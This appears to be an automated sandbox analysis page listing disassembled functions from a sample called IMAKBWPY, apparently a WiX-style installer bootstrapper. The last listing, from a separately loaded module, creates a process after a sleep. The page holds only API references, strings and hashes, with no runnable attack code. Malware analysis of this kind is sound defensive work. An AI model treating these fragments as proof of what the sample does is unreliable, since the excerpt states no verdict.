Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorFileHandleLastModuleProc$CloseCreateHeapInformationName
String ID: cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$feclient.dll$msasn1.dll$msi.dll$version.dll$wininet.dll
API String ID: 3687706282-3151496603
Opcode ID: b00b089d385b06a994563813d107e9e3fb6de0df174efd13c6dfc6c1a226726d
Instruction ID: d0aacd8224f9b9e7d8ba0ed04ce8ef60f234da370709ca82d26ade5f874bbdbd
Opcode Fuzzy Hash: b00b089d385b06a994563813d107e9e3fb6de0df174efd13c6dfc6c1a226726d
Instruction Fuzzy Hash: 692171B192021CABDB119FA4DC59BEEBBB8EF05710F508115FA58B7281D7705934CFA4

Function 0024EA7D Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,?,?,0023548E,?,?), ref: 0024EA9D
GetLastError.KERNEL32(?,0023548E,?,?), ref: 0024EAAA
CreateThread.KERNELBASE ref: 0024EB03
GetLastError.KERNEL32(?,0023548E,?,?), ref: 0024EB10
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,0023548E,?,?), ref: 0024EB4B
CloseHandle.KERNEL32(00000000,?,0023548E,?,?), ref: 0024EB6A
CloseHandle.KERNELBASE(?,?,0023548E,?,?), ref: 0024EB77

Strings

uithread.cpp, xrefs: 0024EACB, 0024EB31
Failed to create the UI thread., xrefs: 0024EB3B
Failed to create initialization event., xrefs: 0024EAD5

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorHandleLast$EventMultipleObjectsThreadWait
String ID: Failed to create initialization event.$Failed to create the UI thread.$uithread.cpp
API String ID: 2351989216-3599963359
Opcode ID: a298fab572750489a7c865a8919385d0898b210ce8893f9332d666ed47459953
Instruction ID: 067276f86c2ae811add692a51c893f361e94d23792ab406fceea31e1278b1226
Opcode Fuzzy Hash: a298fab572750489a7c865a8919385d0898b210ce8893f9332d666ed47459953
Instruction Fuzzy Hash: 7D31B476D1122ABBEB11DF999C85A9EBAA8FF04350F120165BD04F7280E6309E508BA1

Function 002514E1 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,74DF2F60,?,?,00235405,002353BD,00000000,00235445), ref: 00251506
GetLastError.KERNEL32 ref: 00251519
GetExitCodeThread.KERNELBASE(0027B488,?), ref: 0025155B
GetLastError.KERNEL32 ref: 00251569
ResetEvent.KERNEL32(0027B460), ref: 002515A4
GetLastError.KERNEL32 ref: 002515AE

Strings

Failed to wait for operation complete event., xrefs: 0025154A
Failed to get extraction thread exit code., xrefs: 0025159A
cabextract.cpp, xrefs: 00251540, 00251590, 002515D5
Failed to reset operation complete event., xrefs: 002515DF

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeEventExitMultipleObjectsResetThreadWait
String ID: Failed to get extraction thread exit code.$Failed to reset operation complete event.$Failed to wait for operation complete event.$cabextract.cpp
API String ID: 2979751695-3400260300
Opcode ID: 6a7d0830aa91624b491a00085ab8bc3e9ec606bb4638d711645b20ebfbdd95e0
Instruction ID: 12f681785d04b2c7c6105be88718ca72b343618564f869e5b0a070ff632014a4
Opcode Fuzzy Hash: 6a7d0830aa91624b491a00085ab8bc3e9ec606bb4638d711645b20ebfbdd95e0
Instruction Fuzzy Hash: CC31E2B1A21206ABE710EF659D45BAE77F8EB40301F10405AFD06D61A0FB30DE349B55

Function 00232DBF Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 203sleepfiletimeCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000000,00000000,00000000), ref: 00232E5F
GetLastError.KERNEL32 ref: 00232E69
GetLocalTime.KERNEL32(?,?,?,?,?,?), ref: 00232F09
CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000001,00000080,00000000), ref: 00232F96
GetLastError.KERNEL32 ref: 00232FA3
Sleep.KERNEL32(00000064), ref: 00232FB7
CloseHandle.KERNEL32(?), ref: 0023301F

Strings

%ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls, xrefs: 00232F66
pathutil.cpp, xrefs: 00232E8D

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CloseCreateFileHandleLocalPathSleepTempTime
String ID: %ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls$pathutil.cpp
API String ID: 3480017824-1101990113
Opcode ID: 3ddddc20adbc0bd06f26d3ae0679a2ce5cd4d54bcbc0c6e6b0b3c72484778204
Instruction ID: a7a0176f83fbe8c48f8e35c763feb8b0fa3d0469b05e9b583e206bba288f45d7
Opcode Fuzzy Hash: 3ddddc20adbc0bd06f26d3ae0679a2ce5cd4d54bcbc0c6e6b0b3c72484778204
Instruction Fuzzy Hash: CF7184B2D21239ABDB319FA4DC49BAEB3B8AB08710F1141D5F918E7190D7749E94CF90

Function 0023CBC5 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 144COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,FFFEB88D,000000FF,00000001,000000FF,?,00000001,002353BD,00000000,00235489,00235445,WixBundleUILevel,840F01E8,?,00000001), ref: 0023CC1C

Strings

Payload was not found in container: %ls, xrefs: 0023CD29
Failed to concat file paths., xrefs: 0023CCFC
Failed to get directory portion of local file path, xrefs: 0023CCF5
Failed to ensure directory exists, xrefs: 0023CCEE
Failed to get next stream., xrefs: 0023CD03
payload.cpp, xrefs: 0023CD1D
Failed to find embedded payload: %ls, xrefs: 0023CC48
Failed to extract file., xrefs: 0023CCE7

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed to concat file paths.$Failed to ensure directory exists$Failed to extract file.$Failed to find embedded payload: %ls$Failed to get directory portion of local file path$Failed to get next stream.$Payload was not found in container: %ls$payload.cpp
API String ID: 1825529933-1711239286
Opcode ID: 9e0cf5c045ffe768d6d14dae43aaf2b2d7fb26c5da42e034500bcfec94e3632d
Instruction ID: d0a3694d4a45a4c6a3c2681aeb9d0579480b067e0bb6c4d9f37be4251b9c46dd
Opcode Fuzzy Hash: 9e0cf5c045ffe768d6d14dae43aaf2b2d7fb26c5da42e034500bcfec94e3632d
Instruction Fuzzy Hash: 6941C1B1920229EBCF25DF44CD859AEBBA5BF00710F20816AF819BB251D7709D60DF90

Function 00234796 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 128windowthreadCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 002347BB
GetCurrentThreadId.KERNEL32 ref: 002347C1
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 0023484F

Strings

wininet.dll, xrefs: 002347EE
Failed to start bootstrapper application., xrefs: 0023481D
Unexpected return value from message pump., xrefs: 002348A5
engine.cpp, xrefs: 0023489B
Failed to load UX., xrefs: 00234804
Failed to create engine for UX., xrefs: 002347DB

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Message$CurrentPeekThread
String ID: Failed to create engine for UX.$Failed to load UX.$Failed to start bootstrapper application.$Unexpected return value from message pump.$engine.cpp$wininet.dll
API String ID: 673430819-2573580774
Opcode ID: edb920bcf83df9a7c6bf078608bb366ee2424f3d5eb2493be266d1f0583ab1c2
Instruction ID: c6d90fc056a1ca19fe57423de4a6346634cebbb427fbf3c75aba2b9bf29344f0
Opcode Fuzzy Hash: edb920bcf83df9a7c6bf078608bb366ee2424f3d5eb2493be266d1f0583ab1c2
Instruction Fuzzy Hash: 3741E5B1A20155BFEB15EBA4DC85EBAB36CEF05314F104165F908E7140DB30BD658BA0

Function 0023D6C9 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 65libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000008,00000000,?,002347FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,0023548E,?), ref: 0023D6DA
GetLastError.KERNEL32(?,002347FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,0023548E,?,?), ref: 0023D6E7
GetProcAddress.KERNEL32(00000000,BootstrapperApplicationCreate), ref: 0023D71F
GetLastError.KERNEL32(?,002347FE,00000000,00000000,wininet.dll,?,00000000,00000000,?,?,0023548E,?,?), ref: 0023D72B

Strings

Failed to load UX DLL., xrefs: 0023D712
Failed to create UX., xrefs: 0023D76F
userexperience.cpp, xrefs: 0023D708, 0023D74C
BootstrapperApplicationCreate, xrefs: 0023D719
Failed to get BootstrapperApplicationCreate entry-point, xrefs: 0023D756

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID: BootstrapperApplicationCreate$Failed to create UX.$Failed to get BootstrapperApplicationCreate entry-point$Failed to load UX DLL.$userexperience.cpp
API String ID: 1866314245-2276003667
Opcode ID: 3b62015570e4045078f93ac56b5c7640c0eafc1e6ae94b0a635ac84f898bfc93
Instruction ID: 855ce276afdc620c236ca55fdcfc1f0b903c0d4d45e20859a4aeb61d455953c7
Opcode Fuzzy Hash: 3b62015570e4045078f93ac56b5c7640c0eafc1e6ae94b0a635ac84f898bfc93
Instruction Fuzzy Hash: B6112BB7AB4732A7D7215A946C09F1BA6946B06721F014525FE58FB1C0DB30DC2086D1

Function 0023F812 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 117registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?), ref: 0023F942
RegCloseKey.ADVAPI32(00000000), ref: 0023F94F

Strings

Failed to format pending restart registry key to read., xrefs: 0023F846
%ls.RebootRequired, xrefs: 0023F82F
Failed to read Resume value., xrefs: 0023F8D8
Resume, xrefs: 0023F8B6
Failed to open registration key., xrefs: 0023F8AB

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Close
String ID: %ls.RebootRequired$Failed to format pending restart registry key to read.$Failed to open registration key.$Failed to read Resume value.$Resume
API String ID: 3535843008-3890505273
Opcode ID: 5e9aaf725353e5d689ce15cf7d5a3415ba7402d42faa71674b4f31e0f79cbf1e
Instruction ID: 28c3295e8f1e372c2213ab34d2b8b977236278fa2c1818c8d4344fe5886ef66c
Opcode Fuzzy Hash: 5e9aaf725353e5d689ce15cf7d5a3415ba7402d42faa71674b4f31e0f79cbf1e
Instruction Fuzzy Hash: E5416DB1D21119FFDB519F98EA80BADBBB8FF00310F158176E814AB250C3B1AE61DB40

Function 00270523 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0029B5FC,00000000,?,?,?,00244207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,002354FA,?), ref: 00270533
CreateFileW.KERNEL32(40000000,00000001,00000000,00000000,00000080,00000000,?,00000000,?,?,?,0029B5F4,?,00244207,00000000,Setup), ref: 002705D7
GetLastError.KERNEL32(?,00244207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,002354FA,?,?,?), ref: 002705E7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00244207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,002354FA,?), ref: 00270621

Part of subcall function 00232DBF: GetLocalTime.KERNEL32(?,?,?,?,?,?), ref: 00232F09

LeaveCriticalSection.KERNEL32(0029B5FC,?,?,0029B5F4,?,00244207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,002354FA,?), ref: 0027067A

Strings

logutil.cpp, xrefs: 00270606

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: CriticalFileSection$CreateEnterErrorLastLeaveLocalPointerTime
String ID: logutil.cpp
API String ID: 4111229724-3545173039
Opcode ID: e42c2c59cddbfa1e6fec1cfac288b46635ba491b42fd4e317d98941954306864
Instruction ID: 65e95dac8f32073c8e2ee011a015af0914c5777b19e64a5d9a53312765c2015b
Opcode Fuzzy Hash: e42c2c59cddbfa1e6fec1cfac288b46635ba491b42fd4e317d98941954306864
Instruction Fuzzy Hash: CA31E47192022AFBDB129FA1AE9EF6E766CEB00750F418135F908A6160D770DD749FA0

Function 00250B8E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 74fileCOMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 00250BDE
WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00250BFD
GetLastError.KERNEL32 ref: 00250C07

Strings

Failed to write during cabinet extraction., xrefs: 00250C35
Unexpected call to CabWrite()., xrefs: 00250BC1
cabextract.cpp, xrefs: 00250C2B

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastWrite_memcpy_s
String ID: Failed to write during cabinet extraction.$Unexpected call to CabWrite().$cabextract.cpp
API String ID: 1970631241-3111339858
Opcode ID: d4fc74051129ef680de7762a54757ce8c1a8b8704debc4fbc46aa6d93bdcd54f
Instruction ID: dbe8adec714fc9721b4ef9dcfaaa3c9db90f193d3e00323239a45e351f0a3bdd
Opcode Fuzzy Hash: d4fc74051129ef680de7762a54757ce8c1a8b8704debc4fbc46aa6d93bdcd54f
Instruction Fuzzy Hash: 4721017A520201ABCB10DF5CDCC5D5A77B9FF8A722B21415AFE08C7241EA71DD20CB64

Function 00270879 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00270897
GetLastError.KERNEL32(?,?,?,?,?,?,?,0024769D,00000000), ref: 002708A1
GetTokenInformation.KERNELBASE(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 002708D3
GetLastError.KERNEL32(?,?,?,?,?,?,?,0024769D,00000000), ref: 002708EC
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,0024769D,00000000), ref: 0027092B

Strings

procutil.cpp, xrefs: 00270919

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastToken$CloseHandleInformationOpenProcess
String ID: procutil.cpp
API String ID: 4040495316-1178289305
Opcode ID: 3b491320ae60cfe5f0b90a980ad9e5a04b199441c9c037eeb1c8de84590aa711
Instruction ID: 57a5647c4c22a946107bd4062b3ea3d4e376e9d4d2f261d4a2236a51405f6847
Opcode Fuzzy Hash: 3b491320ae60cfe5f0b90a980ad9e5a04b199441c9c037eeb1c8de84590aa711
Instruction Fuzzy Hash: FB21F932D1012AEBE7219F959848B9EBBB8EF14B10F018055EE1CE7250D3708E14DAD0

Function 00250C57 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00250CC4
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00250CD6
SetFileTime.KERNELBASE(?,?,?,?), ref: 00250CE9
CloseHandle.KERNELBASE(000000FF,?,?,?,?,?,?,?,?,?,?,?,?,002508B1,?,?), ref: 00250CF8

Strings

Invalid operation for this state., xrefs: 00250C9D
cabextract.cpp, xrefs: 00250C93

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Time$File$CloseDateHandleLocal
String ID: Invalid operation for this state.$cabextract.cpp
API String ID: 609741386-1751360545
Opcode ID: d6bab4fc15a711a0751a1b490a4d145da31517c8665f44c4e274332a69d98d11
Instruction ID: fe48ffd8b830c2dad46f5ddcf59ccd2f0f990a42baf6d8acd9c97c145bd6e204
Opcode Fuzzy Hash: d6bab4fc15a711a0751a1b490a4d145da31517c8665f44c4e274332a69d98d11
Instruction Fuzzy Hash: 1C21057282121AAB8710DFA8DC899BABBBCFF053227144257FC14D61D0D770E965CB94

Function 00273565 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00273574
InterlockedIncrement.KERNEL32(0029B6C8), ref: 00273591
CLSIDFromProgID.COMBASE(Msxml2.DOMDocument,0029B6B8,?,?,?,?,?,?), ref: 002735AC
CLSIDFromProgID.OLE32(MSXML.DOMDocument,0029B6B8,?,?,?,?,?,?), ref: 002735B8

Strings

MSXML.DOMDocument, xrefs: 002735B3
Msxml2.DOMDocument, xrefs: 002735A7

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: FromProg$IncrementInitializeInterlocked
String ID: MSXML.DOMDocument$Msxml2.DOMDocument
API String ID: 2109125048-2356320334
Opcode ID: d10ed32f5637c7cd95e7d3fbf038cc652546117d24e4d86ee54c29c6adce4a43
Instruction ID: 28d01fdd7074e2f449dbe1063e5dc4cfc9175475a7da2b393d4cf4b55b97f27d
Opcode Fuzzy Hash: d10ed32f5637c7cd95e7d3fbf038cc652546117d24e4d86ee54c29c6adce4a43
Instruction Fuzzy Hash: 14F0E53076113657E7228BA27E0DB8B2DA9DB85F55F400429EC0CC2050D370D9A186B0

Function 00274A6C Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 99memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000001), ref: 00274A9D
GlobalAlloc.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00274ACA
GetLastError.KERNEL32(?,00000000,?,00000000), ref: 00274AF6
GetLastError.KERNEL32(00000000,0027B7A0,?,00000000,?,00000000,?,00000000), ref: 00274B34
GlobalFree.KERNEL32 ref: 00274B65

Strings

fileutil.cpp, xrefs: 00274AB8, 00274B11

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$Global$AllocFree
String ID: fileutil.cpp
API String ID: 1145190524-2967768451
Opcode ID: e7d7122604285c81cce8e8302509b5081e80cca385c22a9b83a4893848321ba7
Instruction ID: 6920adbb37e802defa5ebadf4505a6e31657cdb098cc7e0a266f252a3d76397f
Opcode Fuzzy Hash: e7d7122604285c81cce8e8302509b5081e80cca385c22a9b83a4893848321ba7
Instruction Fuzzy Hash: 0C31B637D60239ABD712AA998C41FAFFAB8AF45750F118255FD1CE7241E730DD208AD4

Function 0024E956 Relevance: 9.1, APIs: 6, Instructions: 85windowCOMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000082,?,?), ref: 0024E985
SetWindowLongW.USER32(?,000000EB,00000000), ref: 0024E994
SetWindowLongW.USER32(?,000000EB,?), ref: 0024E9A8
DefWindowProcW.USER32(?,?,?,?), ref: 0024E9B8
GetWindowLongW.USER32(?,000000EB), ref: 0024E9D2
PostQuitMessage.USER32(00000000), ref: 0024EA31

Memory Dump Source

Source File: 00000011.00000002.2179813995.0000000000231000.00000020.00000001.01000000.00000011.sdmp, Offset: 00230000, based on PE: true

Associated: 00000011.00000002.2179506258.0000000000230000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2180693815.000000000027B000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2181773914.000000000029A000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000011.00000002.2182538763.000000000029D000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_230000_IMAKBWPY.jbxd

Similarity

API ID: Window$Long$Proc$MessagePostQuit
String ID:
API String ID: 3812958022-0
Opcode ID: e58887bbc47f7754df1855333f672c121f2dec4ab5daaf9a8ad3843680a5469b
Instruction ID: c77cf49cb9c1881c4845509dfe68f68e0d1908366114da33cb3c2a348c8bad0c
Opcode Fuzzy Hash: e58887bbc47f7754df1855333f672c121f2dec4ab5daaf9a8ad3843680a5469b
Instruction Fuzzy Hash: 0A210331114115FFEF0A9F68EC0CE6A3B65FF48310F114218F90A9A1A0C331DDA0DB50

Function 10008C39 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 166sleepprocessmemoryCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 10008C87
HeapCreate.KERNELBASE ref: 10008CAE
CreateProcessW.KERNELBASE ref: 10008E57
ExitProcess.KERNEL32 ref: 10008E9E

Strings

D, xrefs: 10008DBF

Memory Dump Source

Source File: 00000011.00000002.2198452182.0000000010001000.00000020.00000001.01000000.00000012.sdmp, Offset: 10000000, based on PE: true

Associated: 00000011.00000002.2198387888.0000000010000000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198565458.000000001004A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198692448.0000000010067000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198869837.000000001006B000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2198954748.000000001006D000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199183766.0000000010074000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000011.00000002.2199273379.0000000010076000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10000000_IMAKBWPY.jbxd

Similarity

API ID: CreateProcess$ExitHeapSleep
String ID: D
API String ID: 1424989813-2746444292
Opcode ID: 37a9097b5e05218b608cf946633e050db2cabbb1e669ccfe0c4028d7bca420c7
Instruction ID: d134c3a45d9883e2efbdd1ba7b49fe62d87b1b23e541c2052632ef6d7f12f0c9
Opcode Fuzzy Hash: 37a9097b5e05218b608cf946633e050db2cabbb1e669ccfe0c4028d7bca420c7
